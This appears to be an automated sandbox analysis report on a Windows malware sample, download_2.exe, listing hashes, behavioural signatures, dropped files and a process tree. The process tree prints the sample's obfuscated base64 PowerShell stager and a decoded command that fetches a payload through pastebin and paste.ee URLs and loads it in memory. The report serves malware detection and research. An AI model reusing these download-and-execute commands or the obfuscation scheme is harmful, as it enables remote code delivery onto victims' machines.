Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-es -
resource tags
arch:x64arch:x86image:win10v2004-20240611-eslocale:es-esos:windows10-2004-x64systemwindows -
submitted
14-06-2024 18:25
Behavioral task
behavioral1
Sample
download_2.exe
Resource
win10v2004-20240611-es
General
-
Target
download_2.exe
-
Size
32KB
-
MD5
0246e26daf22440fde0953edf3f90ad6
-
SHA1
9f3fe6fd7cd19f746ddd2beebc69dfd00a8e23ef
-
SHA256
9085f329dbcbfae01a773a555db3dae06c197b2a7f6f733b82331a26ad4d46dd
-
SHA512
d133e215bf2bfbf9b89f036581db8a98d3e08622be667787d9e19d3bf890bea4319d21fa7794c2c339d3c41ff323b9c4fb6fbd67c834df961e83017e987aeddf
-
SSDEEP
384:20bUe5XB4e0XmO/GiaXLilpknDZWTltTUFQqz9pOObbB:XT9Bu19aXWl1EtbB
Malware Config
Extracted
http://pastebin.com/raw/V9y5Q5vv
Extracted
http://pastebin.com/raw/V9y5Q5vv
Signatures
-
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exepowershell.exeflow pid process 50 3984 powershell.exe 51 3984 powershell.exe 53 2300 powershell.exe 54 2300 powershell.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
download_2.exeWScript.exeWScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation download_2.exe Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 3984 powershell.exe 2452 powershell.exe 2300 powershell.exe 2008 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
download_2.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings download_2.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 2008 powershell.exe 2008 powershell.exe 3984 powershell.exe 3984 powershell.exe 2452 powershell.exe 2452 powershell.exe 2300 powershell.exe 2300 powershell.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
Processes:
download_2.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: SeDebugPrivilege 2008 powershell.exe Token: SeDebugPrivilege 3984 powershell.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 2300 powershell.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe Token: 33 1832 download_2.exe Token: SeIncBasePriorityPrivilege 1832 download_2.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
download_2.exeWScript.exepowershell.exeWScript.exepowershell.exedescription pid process target process PID 1832 wrote to memory of 4248 1832 download_2.exe WScript.exe PID 1832 wrote to memory of 4248 1832 download_2.exe WScript.exe PID 1832 wrote to memory of 4248 1832 download_2.exe WScript.exe PID 4248 wrote to memory of 2008 4248 WScript.exe powershell.exe PID 4248 wrote to memory of 2008 4248 WScript.exe powershell.exe PID 4248 wrote to memory of 2008 4248 WScript.exe powershell.exe PID 2008 wrote to memory of 3984 2008 powershell.exe powershell.exe PID 2008 wrote to memory of 3984 2008 powershell.exe powershell.exe PID 2008 wrote to memory of 3984 2008 powershell.exe powershell.exe PID 1832 wrote to memory of 2080 1832 download_2.exe WScript.exe PID 1832 wrote to memory of 2080 1832 download_2.exe WScript.exe PID 1832 wrote to memory of 2080 1832 download_2.exe WScript.exe PID 2080 wrote to memory of 2452 2080 WScript.exe powershell.exe PID 2080 wrote to memory of 2452 2080 WScript.exe powershell.exe PID 2080 wrote to memory of 2452 2080 WScript.exe powershell.exe PID 2452 wrote to memory of 2300 2452 powershell.exe powershell.exe PID 2452 wrote to memory of 2300 2452 powershell.exe powershell.exe PID 2452 wrote to memory of 2300 2452 powershell.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\download_2.exe"C:\Users\Admin\AppData\Local\Temp\download_2.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tmpBADA.tmp.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bo☼Gs☼dgBr☼G0☼I☼☼9☼C☼☼Jw☼w☼DM☼Jw☼7☼CQ☼dQBn☼G8☼eQBx☼C☼☼PQ☼g☼Cc☼JQBw☼Ho☼QQBj☼E8☼ZwBJ☼G4☼TQBy☼CU☼Jw☼7☼Fs☼QgB5☼HQ☼ZQBb☼F0☼XQ☼g☼CQ☼dQBz☼GI☼bQBv☼C☼☼PQ☼g☼Fs☼cwB5☼HM☼d☼Bl☼G0☼LgBD☼G8☼bgB2☼GU☼cgB0☼F0☼Og☼6☼EY☼cgBv☼G0☼QgBh☼HM☼ZQ☼2☼DQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼C☼☼K☼BO☼GU☼dw☼t☼E8☼YgBq☼GU☼YwB0☼C☼☼TgBl☼HQ☼LgBX☼GU☼YgBD☼Gw☼aQBl☼G4☼d☼☼p☼C4☼R☼Bv☼Hc☼bgBs☼G8☼YQBk☼FM☼d☼By☼Gk☼bgBn☼Cg☼JwBo☼HQ☼d☼Bw☼Do☼Lw☼v☼H☼☼YQBz☼HQ☼ZQBi☼Gk☼bg☼u☼GM☼bwBt☼C8☼cgBh☼Hc☼LwBW☼Dk☼eQ☼1☼FE☼NQB2☼HY☼Jw☼p☼C☼☼KQ☼g☼Ck☼OwBb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QQBw☼H☼☼R☼Bv☼G0☼YQBp☼G4☼XQ☼6☼Do☼QwB1☼HI☼cgBl☼G4☼d☼BE☼G8☼bQBh☼Gk☼bg☼u☼Ew☼bwBh☼GQ☼K☼☼k☼HU☼cwBi☼G0☼bw☼p☼C4☼RwBl☼HQ☼V☼B5☼H☼☼ZQ☼o☼Cc☼QwBs☼GE☼cwBz☼Ew☼aQBi☼HI☼YQBy☼Hk☼Mw☼u☼EM☼b☼Bh☼HM☼cw☼x☼Cc☼KQ☼u☼Ec☼ZQB0☼E0☼ZQB0☼Gg☼bwBk☼Cg☼JwBN☼HM☼cQBC☼Ek☼YgBZ☼Cc☼KQ☼u☼Ek☼bgB2☼G8☼awBl☼Cg☼J☼Bu☼HU☼b☼Bs☼Cw☼I☼Bb☼G8☼YgBq☼GU☼YwB0☼Fs☼XQBd☼C☼☼K☼☼n☼D☼☼LwBy☼DY☼e☼BD☼GE☼LwBy☼C8☼ZQBl☼C4☼ZQB0☼HM☼YQBw☼C8☼Lw☼6☼HM☼c☼B0☼HQ☼a☼☼n☼C☼☼L☼☼g☼CQ☼dQBn☼G8☼eQBx☼C☼☼L☼☼g☼Cc☼YwB1☼H☼☼ZQB4☼Cc☼L☼☼g☼CQ☼a☼Br☼HY☼awBt☼Cw☼I☼☼n☼DE☼Jw☼s☼C☼☼JwBS☼G8☼Z☼Bh☼Cc☼I☼☼p☼Ck☼Ow☼=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\tmpBADA.tmp.vbs');powershell -command $KByHL;3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$hkvkm = '03';$ugoyq = 'C:\Users\Admin\AppData\Local\Temp\tmpBADA.tmp.vbs';[Byte[]] $usbmo = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($usbmo).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/r6xCa/r/ee.etsap//:sptth' , $ugoyq , 'cupex', $hkvkm, '1', 'Roda' ));"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tmp2175.tmp.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bu☼G4☼b☼Bz☼HU☼I☼☼9☼C☼☼Jw☼w☼DM☼Jw☼7☼CQ☼awBj☼HI☼dQBn☼C☼☼PQ☼g☼Cc☼JQBw☼Ho☼QQBj☼E8☼ZwBJ☼G4☼TQBy☼CU☼Jw☼7☼Fs☼QgB5☼HQ☼ZQBb☼F0☼XQ☼g☼CQ☼c☼Bs☼Ho☼egB4☼C☼☼PQ☼g☼Fs☼cwB5☼HM☼d☼Bl☼G0☼LgBD☼G8☼bgB2☼GU☼cgB0☼F0☼Og☼6☼EY☼cgBv☼G0☼QgBh☼HM☼ZQ☼2☼DQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼C☼☼K☼BO☼GU☼dw☼t☼E8☼YgBq☼GU☼YwB0☼C☼☼TgBl☼HQ☼LgBX☼GU☼YgBD☼Gw☼aQBl☼G4☼d☼☼p☼C4☼R☼Bv☼Hc☼bgBs☼G8☼YQBk☼FM☼d☼By☼Gk☼bgBn☼Cg☼JwBo☼HQ☼d☼Bw☼Do☼Lw☼v☼H☼☼YQBz☼HQ☼ZQBi☼Gk☼bg☼u☼GM☼bwBt☼C8☼cgBh☼Hc☼LwBW☼Dk☼eQ☼1☼FE☼NQB2☼HY☼Jw☼p☼C☼☼KQ☼g☼Ck☼OwBb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QQBw☼H☼☼R☼Bv☼G0☼YQBp☼G4☼XQ☼6☼Do☼QwB1☼HI☼cgBl☼G4☼d☼BE☼G8☼bQBh☼Gk☼bg☼u☼Ew☼bwBh☼GQ☼K☼☼k☼H☼☼b☼B6☼Ho☼e☼☼p☼C4☼RwBl☼HQ☼V☼B5☼H☼☼ZQ☼o☼Cc☼QwBs☼GE☼cwBz☼Ew☼aQBi☼HI☼YQBy☼Hk☼Mw☼u☼EM☼b☼Bh☼HM☼cw☼x☼Cc☼KQ☼u☼Ec☼ZQB0☼E0☼ZQB0☼Gg☼bwBk☼Cg☼JwBN☼HM☼cQBC☼Ek☼YgBZ☼Cc☼KQ☼u☼Ek☼bgB2☼G8☼awBl☼Cg☼J☼Bu☼HU☼b☼Bs☼Cw☼I☼Bb☼G8☼YgBq☼GU☼YwB0☼Fs☼XQBd☼C☼☼K☼☼n☼D☼☼LwBM☼FI☼SgBJ☼Gw☼LwBy☼C8☼ZQBl☼C4☼ZQB0☼HM☼YQBw☼C8☼Lw☼6☼HM☼c☼B0☼HQ☼a☼☼n☼C☼☼L☼☼g☼CQ☼awBj☼HI☼dQBn☼C☼☼L☼☼g☼Cc☼XwBf☼F8☼XwBz☼G0☼cgB1☼HE☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼Xw☼t☼C0☼LQ☼t☼C0☼LQ☼t☼Cc☼L☼☼g☼CQ☼bgBu☼Gw☼cwB1☼Cw☼I☼☼n☼DE☼Jw☼s☼C☼☼JwBS☼G8☼Z☼Bh☼Cc☼I☼☼p☼Ck☼Ow☼=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\tmp2175.tmp.vbs');powershell -command $KByHL;3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$nnlsu = '03';$kcrug = 'C:\Users\Admin\AppData\Local\Temp\tmp2175.tmp.vbs';[Byte[]] $plzzx = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($plzzx).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/LRJIl/r/ee.etsap//:sptth' , $kcrug , '____smruq________________________________________-------', $nnlsu, '1', 'Roda' ));"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD56195a91754effb4df74dbc72cdf4f7a6
SHA1aba262f5726c6d77659fe0d3195e36a85046b427
SHA2563254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5
SHA512ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
12KB
MD51243dc02f608251a9819c51f29535af0
SHA12500f87264c2b3ed8c2335400971f44382b68899
SHA2569e5eec41ab0ecd2645142f0f9bc9e9545958dbe83545658f8f1bd0850d3eb2f4
SHA5125f150809cb3169bbe79508946325f21840e8d97bceb6c6f6aa3008d518b80a4e5ded0f9da80e05af259b3e077c3fb25d8008070de81467b570e7f36c8cc8b7a2
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
12KB
MD515b2797f8338b282f6fed4b0c968c8a2
SHA15eac9fcde74eb9dba1cfcf27a91146441c34b70a
SHA256c6d76ef51b3b1dddf458f3028dbe31544d11f1e65f987731d71dace48c87c831
SHA51261e7322599a77ac04ba521c6bbfb72318f54bd30b22832cc3dfd90975e2383f5edc629aa738b2518e059c360e4ed0722f0e94056fb5fa8ba64ef0cdf67bb1402
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_opjqsffl.dm0.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\tmp2175.tmp.vbsFilesize
1.8MB
MD55c8448684a0da042175dbf7a6cac6860
SHA1289b9c019900d01f20de545fc9c1b68abf99edfc
SHA2567e8af5d4489e76237bb2b106e2094c20b5618703b98b51a2e58c07313d8026b3
SHA512af8f2f1f947115b3bb12cca9a1b369b86a43589b9eec88a0abacf24a5e7ccccefb952f4164ef6eb8733405f18f82de850f854db3eb202b8c5a290f4a87f09055
-
C:\Users\Admin\AppData\Local\Temp\tmpBADA.tmp.vbsFilesize
1.8MB
MD5f124ef376cbb723b34ea166032615966
SHA11497b02f3caa5cd2ebebb32d796d733a40b87b2f
SHA2562d99975784e1d1f9f5d4a7374c1bba56af0e17218fb0b245b45af790c6470538
SHA51235d1a6e710b499c9b0867caae51029819d1079d056056a02803d1fb044ecd0aa23d69ea1b18df6c58a73688cd01f4f8dee8351ec250d7435a44cd2fa161a849f
-
memory/1832-3-0x0000000075350000-0x0000000075901000-memory.dmpFilesize
5.7MB
-
memory/1832-6-0x0000000075350000-0x0000000075901000-memory.dmpFilesize
5.7MB
-
memory/1832-0-0x0000000075352000-0x0000000075353000-memory.dmpFilesize
4KB
-
memory/1832-5-0x0000000075350000-0x0000000075901000-memory.dmpFilesize
5.7MB
-
memory/1832-4-0x0000000075352000-0x0000000075353000-memory.dmpFilesize
4KB
-
memory/1832-2-0x0000000075350000-0x0000000075901000-memory.dmpFilesize
5.7MB
-
memory/1832-15-0x0000000075350000-0x0000000075901000-memory.dmpFilesize
5.7MB
-
memory/1832-1-0x0000000075350000-0x0000000075901000-memory.dmpFilesize
5.7MB
-
memory/2008-11-0x0000000071C2E000-0x0000000071C2F000-memory.dmpFilesize
4KB
-
memory/2008-33-0x00000000065B0000-0x00000000065CE000-memory.dmpFilesize
120KB
-
memory/2008-17-0x0000000005480000-0x0000000005502000-memory.dmpFilesize
520KB
-
memory/2008-24-0x0000000005DA0000-0x0000000005E06000-memory.dmpFilesize
408KB
-
memory/2008-29-0x0000000005F80000-0x0000000005FE6000-memory.dmpFilesize
408KB
-
memory/2008-30-0x0000000005450000-0x0000000005460000-memory.dmpFilesize
64KB
-
memory/2008-31-0x0000000006120000-0x0000000006474000-memory.dmpFilesize
3.3MB
-
memory/2008-32-0x0000000006480000-0x0000000006582000-memory.dmpFilesize
1.0MB
-
memory/2008-34-0x0000000006600000-0x000000000664C000-memory.dmpFilesize
304KB
-
memory/2008-18-0x0000000005D00000-0x0000000005D22000-memory.dmpFilesize
136KB
-
memory/2008-12-0x0000000002E20000-0x0000000002E56000-memory.dmpFilesize
216KB
-
memory/2008-13-0x0000000005690000-0x0000000005CB8000-memory.dmpFilesize
6.2MB
-
memory/2008-52-0x0000000071C20000-0x00000000723D0000-memory.dmpFilesize
7.7MB
-
memory/2008-16-0x0000000071C20000-0x00000000723D0000-memory.dmpFilesize
7.7MB
-
memory/2008-14-0x0000000071C20000-0x00000000723D0000-memory.dmpFilesize
7.7MB
-
memory/3984-46-0x00000000055C0000-0x0000000005600000-memory.dmpFilesize
256KB
-
memory/3984-45-0x0000000006F30000-0x0000000006F4A000-memory.dmpFilesize
104KB
-
memory/3984-44-0x0000000008340000-0x00000000089BA000-memory.dmpFilesize
6.5MB